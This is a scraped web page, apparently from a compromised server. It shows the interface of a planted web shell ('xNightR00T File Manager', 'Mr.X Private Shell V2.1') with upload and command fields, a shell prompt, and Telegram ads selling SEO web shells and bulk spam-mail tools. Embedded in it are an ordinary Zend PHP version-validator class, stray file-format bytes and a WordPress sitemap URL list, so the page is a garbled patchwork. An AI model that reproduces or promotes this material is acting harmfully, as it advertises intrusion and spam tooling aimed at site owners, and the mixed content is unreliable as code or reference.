xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace DeploymentLibrary\Prerequisites\Validator\Library;

use Zend\Validator\AbstractValidator;
use DeploymentLibrary\Container;
use ZendServer\Log\Log;

class Min extends AbstractValidator
{
    const NOT_MIN   = 'notMin';
    const NOT_FOUND = 'libraryNotFoundMin';
    const VALID     = 'validVersionMin';

    /**
     * @var string
     */
    protected $version;

    /**
     * @param string $version
     */
    public function __construct($version)
    {
        $this->abstractOptions['messageTemplates'][self::VALID]     = _t("Version should be at least %%version%% (is %%value%%)");
        $this->abstractOptions['messageTemplates'][self::NOT_MIN]   = _t("Version should be at least %%version%% (is %%value%%)");
        $this->abstractOptions['messageTemplates'][self::NOT_FOUND] = _t("Version should be at least %%version%% (none found)");
        $this->abstractOptions['messageVariables']['version']       = 'version';
        $this->version                                              = $version;
    }
    /* (non-PHPdoc)
     * @see \Zend\Validator\ValidatorInterface::isValid()
     */

    public function isValid($value)
    {
        if (!$value) {
            $this->error(self::NOT_FOUND);
            return false;
        }

        if ($value instanceof Container) {
            $greatestVersion = array_reduce($value->getVersions(),
                function($greatest, $lib) {
                if (version_compare($lib['version'], $greatest, '>=')) {
                    return $lib['version'];
                }
                return $greatest;
            }, '0.0.0');

            $this->setValue($greatestVersion);

            $versions = array_map(function($item) {
                return $item['version'];
            }, $value->getVersions());

            foreach ($versions as $version) {
                if (version_compare($this->version, $version, '<=')) {
                    $this->error(self::VALID, $version);
                    return true;
                }
            }
        }


        $this->error(self::NOT_MIN);
        return false;
    }
}

Filemanager

Name Type Size Permission Actions
Deployed.php File 1.05 KB 0644
Equals.php File 1.4 KB 0644
Max.php File 2.03 KB 0644
Min.php File 2.06 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml